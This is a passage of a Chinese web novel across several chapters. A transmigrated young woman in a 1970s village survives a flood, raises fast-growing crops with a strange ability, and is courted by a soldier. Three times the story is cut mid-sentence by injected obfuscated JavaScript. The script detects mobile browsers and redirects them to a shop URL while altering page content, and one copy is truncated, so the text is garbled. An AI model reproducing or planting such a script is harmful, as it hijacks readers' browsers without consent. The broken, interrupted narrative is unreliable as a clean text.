老太太絮絮叨叨地又开始讲古,说起她从前的事,马小兰从小到大听得耳朵都起茧子了,却碍于奶奶是长辈不敢说什么,暗地里与孟逐星交换了个眼神,吐了吐舌。 雨一直下到天黑,雷声轰隆不停,听得人心里渐渐发慌。 众人围坐在火堆边毫无睡意,蓦地一个闪电,巨雷响起,马小兰惊呼出声:“妈呀!真吓人!” 王婶儿将她拉到怀里,捂住了她的耳朵。 孟逐星看得眼眶微涩,低下了头。 不知过了多久,她迷糊地睡着了,忽地被一阵叫嚷声吵醒,孟逐星腾地惊醒,见其他人脸色都不太好看,就听马小兰说:“逐星,真的发洪水了!” 漆黑雨夜中,汹涌雨水如巨龙般,顺着山道卷着树枝山石疾冲而下,转瞬间便淹没了许多屋舍。 提前躲到山上安全处的村人亲眼见到山洪爆发,眼睁睁地看着自己的家被淹,心中悲痛之余也不禁庆幸——幸好听村长的话跑出来了,要不然…… 也并非所有人都去了高处躲避。 哭叫声很快在暗夜中传来,听得人心里一阵阵发酸。 马奶奶怔怔地听着一切,神色复杂地看了眼孟逐星,撇了撇嘴:“这回算是凑巧了。” “奶奶,逐星这可是救了咱们一家人的命呢!” 孟逐星拉住马小兰的手,对她笑着摇了摇头,“我也没做什么,只是提了个醒而已,都是婶儿当机立断行事果决。” 王婶儿被她夸得心里欢喜,对她更喜欢了几分,转念又想到家里的东西遭了水,不禁又犯起愁来:“这水也不知道啥时候退,东西都要冲走泡坏了。” 马文波安慰道:“妈,人没事就好,东西咱可以再慢慢挣。” 山下的哭声持续到了天亮,见外面的雨势减小,马国富便带着儿子一道下山救人,王婶儿在小屋里做些吃的,孟逐星与马小兰也出门看有没有什么可以帮忙的。 几人忙乎了大半天,小屋里又多了一个人,恰巧是之前嘲笑过孟逐星的李红文。 他不知怎么与家人走散了,胳膊腿上好几道擦伤,可怜巴巴地趴在一棵树上哭,被孟逐星带了回来。 孩子身上的衣服都湿透了,小脸煞白浑身直抖,孟逐星便将他按坐在火堆边,简单处理了下他的伤口,给他倒了碗热水。 李红文抬眼怯生生地看着她,小声说:“对不起。” 他在为自己之前的无礼道歉。 孟逐星摸了摸他的头,“没关系,你怎么自己一个人,家里人呢?” 李红文瞬间红了眼眶,哭道:“昨天我家半夜突然被淹了,俺爸妈爷奶和弟弟都被大水冲散了,我会狗刨,跑到了山上躲着,一直还没看见其他人……” “别哭,你家里人不一定会有事,他们可能在山上其他地方找你呢。” 李红文哭着点了点头,见外面似乎不下雨了,便想冲出去找人,被孟逐星给按住,“你老实待着,我出去帮你找。” 山道湿滑,万一摔下去怎么办? 王婶儿也出去寻人了,李红文与马奶奶在屋里大眼瞪小眼。 马奶奶开口:“哼,我说这个小克星不会这么好心救人,心里指不定憋着什么坏呢。” 李红文沉默一会儿,说:“逐星姐救了我,还对我很好,你却还跟我说她坏话,你比我奶奶还讨厌。” 马奶奶怒道:“你这个熊孩子……” 李红文毫不畏惧,瞪着她:“我再熊也比背后说人坏话的人好!” 马奶奶捂着胸口,被气得说不出话来。 一老一少在小木屋吵架时,孟逐星找到了李红文的家人,他们都没啥事儿,就是陈大娘的脚扭伤了。 当她将李红文送到他们面前时,李家人都很是感激,李红武更是眼泪啪嗒地跑上前,牙齿漏风地抽泣:“谢谢里(你)救了我哥哥,我再也不说里(你)是小寡妇了。” 孟逐星:“……” 李家父母很是尴尬,将孩子拉过来揍了下屁股,歉然道:“小孟,孩子小不懂事净会胡说八道,你别放在心上。” “没关系,他说的也没错。”孟逐星神情坦荡,她嫁过人、死了丈夫,不是寡妇是什么? 雨水渐退,山上的人陆续下了山,马小兰一家也回到了自己家,房子还在,就是满地狼藉,许多东西也都没了。 那几只能下蛋的鸡也没影了,王婶儿很是心疼,马国富安慰道:“以后再养就是了。” 这次山洪附近的几个村子都遭了祸,村长与大队书记们都忙着救灾、重建。 部分人逃过了一劫,事后满心感激地来到村长家道谢,却被告知是孟逐星提醒了村长。 “你们要真想谢,就对人家小姑娘好一些,说起来她是真可怜,没了爹妈弟弟,还一直被村里人排挤嫌弃,也不容易。”村长并未居功,而是替孟逐星说了几句好话。 那些人愣了愣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732920|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思各异地回了家。 第二天,孟逐星起床后,在小木屋门口发现了几样东西,一小袋高粱米、几块红薯、满满一玻璃罐的咸菜丁,还有一大堆柴火。 她眨了眨眼,是谁做好事不留名? 孟逐星将东西依次收进屋,又去屋后看她种的庄稼,也是运气好,大风大雨之下,它们还安然无恙,那几株生长迅速的辣椒、红薯苗看着更高了些,照这个速度长下去,也许要不了多久就可以开花结果了。 她心里很是欢喜,又去看不远处纸箱里的几只鸡仔,黄绒绒的煞是可爱,有的在低头吃麦麸。有的则在喝水。 如果鸡仔喝得也是那种水,会不会也长得更快? 心里存了这个念头,孟逐星便去山下村子里晃了一圈儿,大多数人家都在忙着修建房子、猪圈鸡舍,偶尔有人见到她,也只是在头顶闪过了一抹疑惑,并未对她“说”什么不好的。 她又溜达到了上回的那棵老槐树下,果不其然,在那里见到了好几个人,有男有女有老有少,目送着她经过,头顶上的对话框闪烁不停。 【她怎么在这儿?】 【王老三出殡的时候,坟都差点儿塌方,又与这个扫把星有关吧。】 【听说是她跟村长说可能会有山洪,她咋知道的?】 【这个妮儿多大来着?咋看着这么瘦小。】 …… 孟逐星面不改色地一一扫过,直到身上再次传来那股熟悉的不适感,她才回到小木屋。 接下来的流程都变得熟练了,不同的是,这次她将水倒在了小鸡的食盆中。 为了加以对比,孟逐星将六只鸡仔均分成两筐,一边正常喂养,一边则加了“特殊养料”。 嗯,以后就这么称呼好了。 到了第二天,她见到另一只筐里的小鸡果真比一旁的大了一些时,欣喜还是有的,就是没那么惊讶了。 看来她很快就能吃上鸡蛋了呀。 山顶地方大,除了种了些辣椒、黄瓜、玉米、红薯,辟了个角落养鸡外,孟逐星还从村里抱养了一只小狗,通体乌黑,眼睛亮晶晶的。 她倒不是想养宠物狗,而是为了安全起见,毕竟她一个人独居在此,原主的身体又太过瘦弱,万一有人起了歹心,她想反抗都心有余而力不足,有只小狗示警看家还是很有必要的。 小狗起名小黑,十分粘人听话,白天跟着孟逐星在山里到处跑,夜里则乖巧地趴在床下机警守夜。 马小兰也很喜欢小黑,每回来都给它捎带些剩饭,小黑吃得很高兴直摇尾巴。 日子就这样一天天过去,天气暖和起来,山里绿意盎然,孟逐星的伙食也改善许多。 她的“特种鸡”已经开始下蛋,辣椒、黄瓜、红薯也都有了一点收成,她将它们采摘收好,关起门来偷偷摸摸地吃点好的。 这些与时令不符的东西不能见人,要不然定会掀起一阵风波。 身体才是革命的本钱,原主的身子骨太弱了,孟逐星决定先给她好好调养调养。 好在马小兰是个粗心大意的人,很少去屋后看,并未注意到屋后的异常。 原本孟逐星以为自己的日子就会这样平静下去,却没想到这天,小屋门口来了个陌生人,那人未语先笑,张口便说:“哎哟孟小妹子,婶子先恭喜你啦!” 孟逐星一脸问号:“啊?” 片刻之后,她脸上的疑惑转为惊讶——嗯?是王老三坟头的草还不够高吗? 怎么还有人敢娶她?! 5. 第 5 章 按这位吴婶儿所说,要娶她的这个人条件很不错,五年前离开了村子去当兵,在部队里立了功,如今已经升了职,成了军官了。 “小妹子你别不信,陆家小伙子长得也不孬,要个儿有个儿,又当了官,你要是嫁过去以后就等着享福吧!” 孟逐星很是不解:“婶子,这人条件这么好,咋还愿意娶我?难道他不知道我的名声?” 吴婶儿咳了一声:“他知道,妹子,婶儿在村里做了这么多年的媒了,从来不说谎骗人,也不瞒你,这小陆吧跟你有点像,也是命格较硬……” 孟逐星眨了眨眼,嗯?俩克星要结婚?是要比谁的命更硬是吗…… 见她不说话,吴婶儿继续道:“这小陆无父无母,只有个妹妹,她这个妹妹身体不太好,一直借住在他大伯家,今年已经十六岁了。” “妹子,小陆是请探亲假回来的,一回到家就提着礼物请我给他说媒,你看看要不要见他一面,你们俩坐下来聊聊看?不中意也不碍事,就当认识认识。” 孟逐星面露迟疑,她并不怎么想跟人相亲…… 吴婶儿从兜里掏出几块五彩缤纷的水果糖塞到她手里,“见一面也不会少块肉。” “走吧,咱们现在就去。” 孟逐星答应得爽快至极,使得吴婶儿看了她好几眼,嘀咕:“怎么跟个小孩儿似的,几块糖就骗走了……” 孟逐星确实很馋糖块,自打穿越后,她从吃不饱饭到现在勉强实现鸡蛋、黄瓜自由,但甜食是真的很久没吃了。 她无比怀念以前吨吨喝奶茶大口炫甜品的美好日子。 吴婶儿是个急性子,并没给她多少时间伤春悲秋,拉着她便往山下走去,“人家小陆时间紧张,跟我说了,要是你愿意相见,就到半山腰的亭子里去,他在那儿等着你。” “那我要是不愿意呢?他岂不是白跑一趟?” 吴婶儿笑道:“当兵的体格好,还能怕受这点累?” 不一会儿的功夫,两人便来到了半山腰,凉亭隐映在葱郁树枝后。 孟逐星忽然有点紧张,在现代的时候,她还没来得及正儿八经地与人谈一场恋爱,最多是学生时代偷偷暗恋过三四个男生,长得或是清秀或是痞气,风格不一,每个被她短暂地喜欢过一段时间。 但她那只是暗恋,如今要与一个素未谋面的人相亲,对她来说还是太超过了。 “吴婶儿,要不我再考虑考虑?”孟逐星打起了退堂鼓。 “来都来了,人家小陆又不会吃人!” 孟逐星被吴婶儿半拉半扯地带到了凉亭里。 树影下阳光斑驳,她抬眼望去,首先看到的便是一抹高大挺拔的身影,穿着绿色军装黑布鞋,如青松般笔直挺立。 不愧是兵哥哥,这宽肩窄腰大长腿,真是好看。 吴婶儿轻咳一声:“小陆,孟同志来了。” 那青年转过身,对吴婶儿点了点头,看了看孟逐星,对她伸出手来:“孟同志,你好。” 孟逐星愣了一下,反射性地与他握了握手,“你好,陆同志。” “我叫陆宗青,今年25岁,目前在黑省生产建设兵团四师三十九团云山农场工作,家中父母双亡,还有一个病弱的妹妹,打算结婚后带妹妹去黑省一起生活,你……还愿意继续跟我聊下去吗?” 青年嗓音低沉,听起来十分悦耳,说出的话却叫孟逐星颇为诧异—— 这个年代的相亲都是这么直接的吗?而且一般不应该先说些自己的优势长处,最后再一笔带过缺点啥的吗?怎么这个兵哥哥直接全都说了出来?难道是为人太过耿直所以才一直单身…… 吴婶儿偷偷给他使了个眼色,小声道:“小陆,这些咱可以晚点再说,先给姑娘说说你一个月多少工钱、在部队里是什么职位之类的。” 陆宗青顿了顿,说:“孟同志,我现在是连队里的排长,每个月工资52元,伙食费14元,每月到手66元,因为我妹妹借住在大伯家,每月我都会定期汇10元钱给他,会剩余50元左右……” “等等,”孟逐星打断他的话,“你也不必说得这么详细,万一咱俩没成多尴尬……” 陆宗青怔了一下,似是没想到她会说得如此直白,唇角微微抿起,“好,你不想听我就不说了。” “……” 孟逐星心口猛地跳了一下,绝不承认自己是被他的颜值给蛊惑了。 有一说一,陆宗青长得十分硬朗,英气勃勃棱角分明,尤其是那双眼睛漆黑明亮,似一汪清潭般幽邃,就是肤色略黑,整个人太过严肃了些,周身的气质又很冷硬,看起来一副很不好相处的样子。 再加上吴婶儿所说的他也命硬,想必跟她一样,也被人说克死了亲生父母,连累唯一的妹妹也体弱多病。 25岁的男青年,在这个年代算是大龄剩男了,况且他自己说结婚后要与妹妹一起生活,寻常人家在清楚他的情况后,可能多少也要考虑考虑。 虽说陆宗青现在赚得不少,在部队里也提了干,以后的前途不可限量,但结婚可是一辈子的事,他又是个煞星,万一贪图他的钱财反而害了自己闺女,那岂不是太不划算? 更何况还有个病弱的小姑子拖累着,姑嫂关系要是处理不好也很叫人头疼的。 最重要的是,孟逐星现在不愁吃喝,虽然偶尔三大娘会来叽叽歪歪在她面前哭惨,但她从不入耳,心中所想的不过是两件事:一是养好原主的身子,二是攒钱买些教材回来准备高考。 如今已经是七五年春天了,再过两年可就要恢复高考了,在现代的时候她只是考了个普本,既然老天给她穿越的机会,怎么着也要拼一拼清北吧? 在这个时候让她去结婚?除非她脑子被驴给踢了。 当然这些话孟逐星不可能直说出来,她不想让人难堪,便对他笑了笑:“陆同志,你说的我听清了,我需要考虑一下。” “好,我等你的回复。” 陆宗青转过身,从凉亭的地上拎起两只网兜,递到孟逐星手中,“这里有些营养品和水果,你拿去吃吧。” “这怎么可以!”孟逐星赶忙拒绝,却见他径直拎着东西往山上走去,她紧赶慢赶地追上来,才发现他直奔她的小木屋,将东西放在了她的门前。 小黑汪汪狂叫,警惕地闻来闻去。 还不及孟逐星开口,陆宗青又迈着长腿下山去了。 才跟上来的吴婶儿气喘吁吁,见状忍不住咧嘴笑道:“哎唷,这还没成呢,就开始心疼你了,妹子,这么好的对象你要上哪儿去找?别说四合村,就是整个大队、整个公社,能找出来几个像小陆这么好条件的?要我说你也别考虑了,万一再被旁人给抢了去,到时候你想哭都没地方。” 孟逐星道:“多谢婶子的好意,只是结婚不是儿戏,我考虑清楚也是对自己、对人家的负责,要是贸然答应了,后面又后悔,岂不是耽误人家?” 吴婶儿笑了笑:“行,婶子也是为你好,不想你错过一段好姻缘。” 她又说了会儿话,说家里还有事忙,便下山去了。 山顶又恢复了寂静,孟逐星拎着网兜进了屋,将里面的的东西取出放在床上,不禁有些惊讶——这人是对每一个相亲对象都这么大方的吗? 两罐麦乳精,两袋白糖,两罐黄桃罐头,还有一兜子的苹果。 莫说在山村里物资匮乏,这些东西就是有钱也不好买到,那只能是陆宗青从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732921|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外地回来时带回来的。 那么说,他这次回来就是奔着相亲来的。 这也可以理解,毕竟25岁也到了该成家的年纪了。 孟逐星在现代时,有几个大学同学一毕业就结婚生子,陆宗青的节奏已经比同时代的同龄人慢了许多。 老男人心急,就想用糖衣炮弹助攻也无可厚非。 只是孟逐星并不打算跟他好,这些东西她受之有愧,因此趁着天色擦黑,她背着网兜里的东西下了山。 原主对陆宗青是有一点儿记忆的,在原主的记忆中,他还是一个瘦削沉默的少年,眸子黑幽幽的,不爱说话,两人曾经在村里见过几回没说过话,却是知道他家在哪儿的。 依着记忆,孟逐星来到陆宗青家门前,是几间土墙屋,墙头与门前都长满了杂草,一看就是平时不怎么住人的。 她抬头敲了敲门,抬声问:“有人在家吗?” 回应她的是周围的几声犬吠,空气中弥漫着炊烟的气息,许多人家正在烧火做饭。 孟逐星忽然觉得自己来得不太凑巧,万一人家正在吃饭,岂不显得她好像是故意上赶着来蹭饭似的? 就在她犹豫要不要走时,木门吱呀一声被人拉开,她的目光径直撞上一堵紧实饱满的胸膛。 陆宗青穿着军绿背心与军绿长裤走了出来。 “……” 视线上移,孟逐星不期然与他四目相对—— 瞬间,她就在他头顶看到了一个闪光的对话框,可框里却是空白。 嗯?他什么也没想? “孟同志,你来找我有什么事么?” “陆同志,我来是想还你这些东西的,太贵重了,我不能要。”孟逐星说着,将兜子递给他。 陆宗青沉默须臾,并未接过,反而问:“你吃饭了么?” “还没。”孟逐星下意识地说了实话,旋即改口,“不过我做好饭了,回去就吃。” “我家就我和我妹妹,菜做多了些,你要不要一起吃?” 见她满脸写着拒绝,陆宗青继续道:“你别紧张,我没有别的意思,主要是我妹妹一直病着不太出门,也没什么朋友,难得有个差不多大的姑娘,我希望你能陪她说说话,仅此而已。” 恰在此时,孟逐星的小腹咕噜咕噜叫了起来,就很不懂看眼色…… 她尴尬地笑了笑:“那好吧。” 陆宗青随手将网兜放在了门后,两人一道进了小院。 刚进屋,就着油灯的光亮,孟逐星看到一个瘦瘦小小的女孩,小巧的瓜子脸,眼睛大大的,见到她后很紧张地站了起来,脸颊腾的一下红了。 “孟同志,这是我妹妹思甜。” 话音甫落,孟思甜便小声地叫了声:“孟姐姐。” 声音细弱弱的,果然身子不太好。 孟逐星不禁对她心生怜惜,对她绽放出一枚灿烂笑容:“你好呀思甜,我叫孟逐星,你叫我逐星就行。” 孟思甜红着脸请她坐下,给她拿了碗筷,安静乖巧地坐下。 桌上有三菜一汤,炒青菜、凉拌黄瓜、青椒炒蛋、还有一大碗冒着油花儿的蛋汤。 主食还是纯白面的馒头,在这个年代算是极为丰盛的了,孟逐星有些不好意思,“你们兄妹好不容易才团聚,多我一个外人多碍眼,要不我还是回家吃好了。” 说着便要起身离去,却听到孟思甜忽地惊呼出声,指了指她的胸口:“逐星姐,你的衣服弄脏了。” 孟逐星疑惑低头,见到一团洇开的湿痕,嗯?这是什么? 蓦地,鼻息间嗅到淡淡熟悉的气味,她神色顿时僵住。 ——她并没觉得难受,怎么也会有副作用啊?! 6. 第 6 章 陆宗青看了看小姑娘通红的耳根,道:“思甜,你带逐星进你屋里处理一下。”说着,他起身出了堂屋。 “逐星姐你跟我来。” 陆思甜眨着清澈的大眼睛看着她,眼神中满是关怀,叫孟逐星实在说不出拒绝的话,只好跟她进了里屋。 掀起布帘子嗅到些许门窗关久了的闷气,想是平日里陆思甜也不住在这里的缘故。 “逐星姐,这是我的衣裳,你可以先换一下。” 陆思甜说着,从箱子中取出一件灰布短衫,“你慢慢换,我在外面等你。” 说罢,小姑娘便一溜烟儿地小碎步出去了。 孟逐星心下一暖,觉得这兄妹二人都十分善解人意,她与他们才刚认识,却怕她窘迫尴尬如此贴心。 她脱下上衣,见里面的背心都湿透了,赶忙胡乱擦了擦,套上了陆思甜的短衫。 两人身量差不多,衣衫大小正合适,这会儿的衣服都比较宽大,不贴在身上勾勒不出身形,十分朴素。 孟逐星撩起帘子,见外面空无一人,屋外廊下传来兄妹二人的低语声。 她不想偷听的,可四周太静,原主的耳朵又很好使,两人交谈的话语便一字不落地飘入她耳中—— “哥,逐星姐真好看,她会成为我的嫂嫂吗?” “我说了也不算,要看人家愿不愿意。” “那你就努力让逐星姐喜欢你不就行了?” “……” 陆思甜继续说:“哥,你啥都好,就是不爱说话,还总板着脸,这样很容易吓退逐星姐的。” 陆宗青沉默一会儿,“有么?” “反正我有时候都挺怵你的。” “……” 一片静默。 孟逐星咳了一声,走出去笑道:“时候不早了,我该回去了,思甜,你的衣服我明天洗了再还给你。” “逐星姐你别急着走呀,还没吃完饭呢!”陆思甜极力挽留,一面给自家兄长使眼色。 陆宗青开口道:“外面太黑,待会儿吃完饭,我送你回去吧?” “这怎么好意思……” 孟逐星很不自在,她之所以趁着天快黑才跑来还东西,就是不想被村里人看见引发什么误会,又怎么能让他送自己呢?当即连连摆手:“不了不了,我眼神儿好能看清路。” “逐星姐,”陆思甜拉住她的衣袖往屋里走,“平时我都没什么人说话,好不容易见到一个年纪相仿的姐姐,你就当再陪陪我好不好?” 说完,她就轻声咳了两下,孟逐星见她体弱,不想她再吹风着凉,赶忙随她进了屋,与兄妹二人继续吃饭。 期间,陆思甜对她极为热情,小嘴叭叭个不停,对她很是好奇与关心,可问出的话却丝毫不叫人反感,孟逐星一一答了,眼角余光不经意地瞥到陆宗青,发现他居然一直在悄悄注视着自己。 嗯?这是什么情况? 孟逐星暗自腹诽,原主虽然身子瘦小,但相貌确实挺好看,脸色虽然瞧着有点憔悴,但五官清秀,尤其是一双眼睛清凌凌圆溜溜的,十分可爱灵动,难不成……他对她是见色起意? 好不容易吃完饭,孟逐星起身要走,陆思甜赶忙将一盏马灯塞到兄长手里,“哥,你去送送逐星姐。” 陆宗青“嗯”了一声,提灯来到她身侧,“孟同志,我送你。” “……” 面对着这样孔武有力、满脸正气的兵哥哥,孟逐星着实说不出拒绝的话来,转头跟陆思甜挥了挥手,走出了小院。 想必陆宗青怕她会害怕多心,便与她保持了一定的距离,马灯的光既可以照到她前面的路,两人又不至于离得太近。 孟逐星心下略微松了口气,在昏暗的光亮下往山上走去。 说是山其实海拔并不算高,一百米出头的样子,再加上山道较缓,爬着并不觉得疲累,这段日子上上下下的,她也习惯了。 空气中弥漫着好闻的草木花香,两人就这样一前一后沉默地走着。 周围只有虫鸣,与渐渐远去的犬吠。 天上悬着一弯明月,散发着淡淡的光辉。 孟逐星忽然觉得脚下异样,仿佛踩到了什么软绵绵的物体……她心下一惊,低头看去,竟然看到一条花不溜秋的大蛇! 她瞬间尖叫出声,下意识地往后退去,却没想到那蛇并没死,蓦地腾起,欻地一声便咬在了她的脚踝上! 一阵剧痛袭来,孟逐星还未及痛呼,便觉身子被人扶住,身后传来男子低沉关切的声音:“孟同志你怎么了?” 她眼前阵阵发黑,靠在他怀中虚弱地张口:“蛇……” 之后发生的事她就不知道了。 等从满是花斑蛇的噩梦中挣扎着醒来时,首先映入孟逐星眼帘的便是一盏微弱的煤油灯,她满头是汗,怔了一下后去看自己的脚踝—— 那里缠着一层绿布,伤口已经被人给包扎好了。 是他? 孟逐星心中微动,抬眼看了看四周,小木屋内并没有旁人,难道他走了? 她感到很口渴,便小心翼翼地下地走到桌边,没想到刚发出一点声响,门便被人推开,一双长腿迈了进来。 长腿的主人满眼关切:“你醒了?有没有哪里觉得不舒服?” 孟逐星有点惊讶:“你没走?” 陆宗青看了看她,将水碗递到她手里,“你被蛇咬了,我虽然帮你吸出了毒,但总要见到你醒了没事才放心,就在外面坐了会儿。” “外面现在还有点凉的……”看了眼他单薄的衣衫,孟逐星生出几分不安,“你冷不冷?我烧火来取暖。” “我没事,你还觉得头晕目眩吗?” 孟逐星摇了摇头,眸光些许复杂:“你就不怕中毒么?” 陆宗青露出一个极淡的微笑,转瞬即逝,“我刚到部队时跟着去开荒了几个月,比人还高的草丛荆棘都钻过,各种蛇虫鼠蚁轮番来,这种花蛇不算什么。” “啊……真是辛苦你们了。”孟逐星由衷感慨,这个年代的士兵,有许多肩负着保卫边疆、屯垦戍边的双重责任,不仅贡献极大,也特别辛苦。 她不由得对陆宗青生出几分敬意来,“宗青哥,我可以这样叫你吗?” 陆宗青怔了一下,“我比你大七岁,当然可以。” 孟逐星弯唇笑了笑,面露腼腆:“宗青哥,我很好奇,你为什么愿意与我相亲?我在村里的名声你也是知道的……” 无论是什么年代,结婚都是终身大事,都是需要慎重考虑的,以陆宗青的条件,他完全可以找一个各方面都比她优秀的女孩子。 天上突然掉馅儿饼这种好事,孟逐星是不太相信会发生在自己身上的。 但若说他对原主别有所图,未免有些牵强。 原主名声不好,又无父无母的不招亲人待见,性子也唯唯诺诺的,唯一的优点可能就是长得很清秀。 但这年代长相充其量也只是锦上添花,寻常人家娶媳妇都是奔着性子好、好生养去的,很少有人愿意娶一朵小娇花摆在家里供着。 陆宗青沉默须臾,缓缓开口:“两年前的秋天,我回来探亲,在村口看到了你,那时你红着眼眶小声哀求着,可你伯母还是将你赶上山去住。” “啊!”孟逐星惊呼,脑海中也霎时涌入原主的这段记忆,不禁眼眶微涩,“那天你也在啊……” 陆宗青点了点头,“那天之前,我只是听说过你的名字,后来不知怎的,便开始对你留心起来。” “前阵子思甜写信给我,提到了你的事,我就尽快赶回来了。” 孟逐星问:“思甜怎么跟你说的?” 她也知道前阵子她和王老三的事闹得沸沸扬扬,周边的村子都传遍了,更加坐实了她“克星”的名号。 “思甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本以为这只是一个短暂的小插曲,没想到第二天早上,她又被不舒服的胀痛感弄醒,不仅胸口疼,小腹也坠得慌。 孟逐星瘸着腿去了屋后的小茅厕,这才发现是来了月经。 原主身子瘦弱,月经来得迟不说,也常常不准,是以她穿来了这一个半月还没来过,她也没想起来这个事儿。 不仅如此,孟逐星发现上面也出了问题。 胀痛,流液不止。 诡异至极。 她来不及多想,赶忙找了干净的布带缠上,穿好衣服回屋烧了些热水,取出网兜里的白糖倒了些,喝些热糖水后,孟逐星感觉身体舒服些,躺在床上思索起来。 昨天晚上在陆家对着陆宗青的紧实胸膛时,她确实产生过一丝丝邪念,然后,就发生了让人社死的一幕。 看来这副作用不只是在她使用读心术只会才会有,生理期、甚至是情/欲的波动都会有影响。 而且,她低头看了看胸口,这副作用程度还不小…… 好消息是屋后的庄稼、家畜可以长得更快了,坏消息则是这样会给她带来较大的麻烦。 首先,她日后是想走出山村去大城市生活的,总不可能一直躲避着人群,和其他人一起生活时,这个秘密就很难一直隐瞒住。 毕竟,液体溢出时,身上的奶味儿还是挺明显的。 其次,她只是暂时不想结婚,并不代表她不想谈恋爱、不想去喜欢别人,昨天只是稍稍动了点旖念就那般出丑,不敢想要是她真的对某人动心动情…… 孟逐星小脸通黄,想起之前看过的一些小说情节。 就她这个体质,应该穿越到小黄/书里比较科学吧…… 被发配来晋江做女主,真的太屈才了。 7. 第 7 章 得知自己的身体还有这么个严重的debuff后,孟逐星不禁开始认真思考起——如果她和陆宗青结婚,对她会有什么好处? 平心而论,在这个年代,陆宗青不封建不迷信,也不介意她寡妇的身份,真的很难得。 再加上他本身条件不差,要模样有模样,要身高有身高,职业也很体面,昨天还不顾危险帮自己吸蛇毒,说来说去,怎么都好像是她攀上了高枝儿? 孟逐星躺在床上翻了个身,还是很难相信这样的好事儿会轮到她。 原主运气一向不好,陆宗青找她结婚不会有什么诈吧? 可人家图她啥呢? 图她瘦瘦小小身子弱,图她无依无靠名声不好? 啧,这怎么可能。 排除掉不可能,唯一剩下的原因便是——陆宗青果然有几分喜欢她,所以才要娶她。 想到这里,孟逐星又觉得有些愧疚,陆宗青喜欢的是胆小可怜的原主,她只是异世的一抹游魂,占据了别人的外壳。 要是她真的与陆宗青结婚,感觉像是抢走了属于原主的幸福,很对不起她。 孟逐星翻来覆去也没想出个结果来,听到外面有人叫她的名字,是马小兰来了。 她赶忙起身开门,见马小兰风风火火地跑进来,“逐星,我怎么听说吴婶儿来给你做媒了呢?还是陆家那个人!” 孟逐星对她为何会知道,已经见怪不怪——四合村地方不大,消息流通得非常快。 谁家老母猪下崽了下的几个是什么花色,不出半天都传得满村皆知。 一是因为这会儿着实没什么娱乐的,二也是因为村里人天天抬头不见低头见,住得又近,基本上不会有秘密存在。 “是有这么回事儿。” 马小兰急了:“他可不成!逐星,你可别被他的皮相给迷惑了啊!别被他给妨到!哎,你的脚踝咋了?” “昨天晚上回来被蛇咬了一口,还是他给我吸出的毒。” “看吧看吧!我就说这人是煞星!还没跟你怎么样呢,就害你被蛇咬。” 孟逐星忍不住笑:“这只是凑巧而已,只是一点儿皮外伤,怎么你信他是煞星,却不信我是克星?” 双标得可爱呀。 马小兰理直气壮:“他跟你能一样吗?咱俩是从小一起长大的,你要真是克星,我怎么一点儿事没有?可他不一样呀,连仅剩的妹妹也是个病秧子,刚要和你相亲就害你遇到蛇。以后你要是嫁过去,不知道还要吃多少苦遭多少罪呢!” 孟逐星安抚道:“你别急呀,我又没答应。” “没答应就好,我还不想与你分开……”马小兰抱住她的手臂蹭了蹭,突然动了动鼻尖,“咦,哪来的一股奶味儿?” 孟逐星小心翼翼地拉好衣襟,佯作不知:“嗯?有么?你是不是闻错了?我倒是闻到了一点鸡屎味。对了——” 她岔开话题,“屋后的母鸡下了蛋,黄瓜也有不少熟了,待会儿你带点给婶儿他们尝尝。” “不用,我家的也快了,不过怎么感觉你这边的鸡鸭与蔬菜长得更快啊?” 孟逐星面不改色地扯谎:“可能是在山顶上,阳光充足。” “哦……”马小兰果然被转移了注意力,来到屋后视察蔬菜、鸡鸭,还掐了根狗尾巴草逗小黑玩,一人一狗玩得不亦乐乎。 孟逐星站在阴凉地里,不禁弯起了唇角。 小兰刚才的话倒是提醒了她,且不说煞不煞星的,她对陆宗青的了解几乎为零,要是只看表面的条件就嫁给他,还是去那么远的黑省…… 万一他很会伪装,她目前看到的一切都是他装的呢? 男人三分醉,演到你流泪。 万一他再性格暴戾,一言不合就对她动手,她的这副小身子骨不是很快就要被折腾散架? …… 这么一想,孟逐星心里那点儿与陆宗青结婚的念头彻底蔫巴了。 还是搞钱与学习更重要! 目前她已经储藏了不少红薯、鸡蛋,黄瓜也切片腌制晒干存了两袋子,吃上是不愁了,可这个小木屋还是太过简陋,被褥也太过单薄破旧,还得想法子弄点旧家具、布票棉花才好。 也不知是巧合呢还是巧合,孟逐星才动了这个念头,到了下午,她就见陆宗青扛着一只大麻袋和一张木桌子来到了小屋门口。 他放下东西,喘息微沉,“你如果要看书学习,还是有张桌子比较好,不累。” 孟逐星怎么敢直接收下,连忙道:“宗青哥太感谢你了!我正想着去踅摸张桌子呢,你就给送上门来了,这我可不能白要,你看这样,我自己养了几只鸡,下了不少鸡蛋,都可新鲜了,我拿鸡蛋给你抵好不好?” 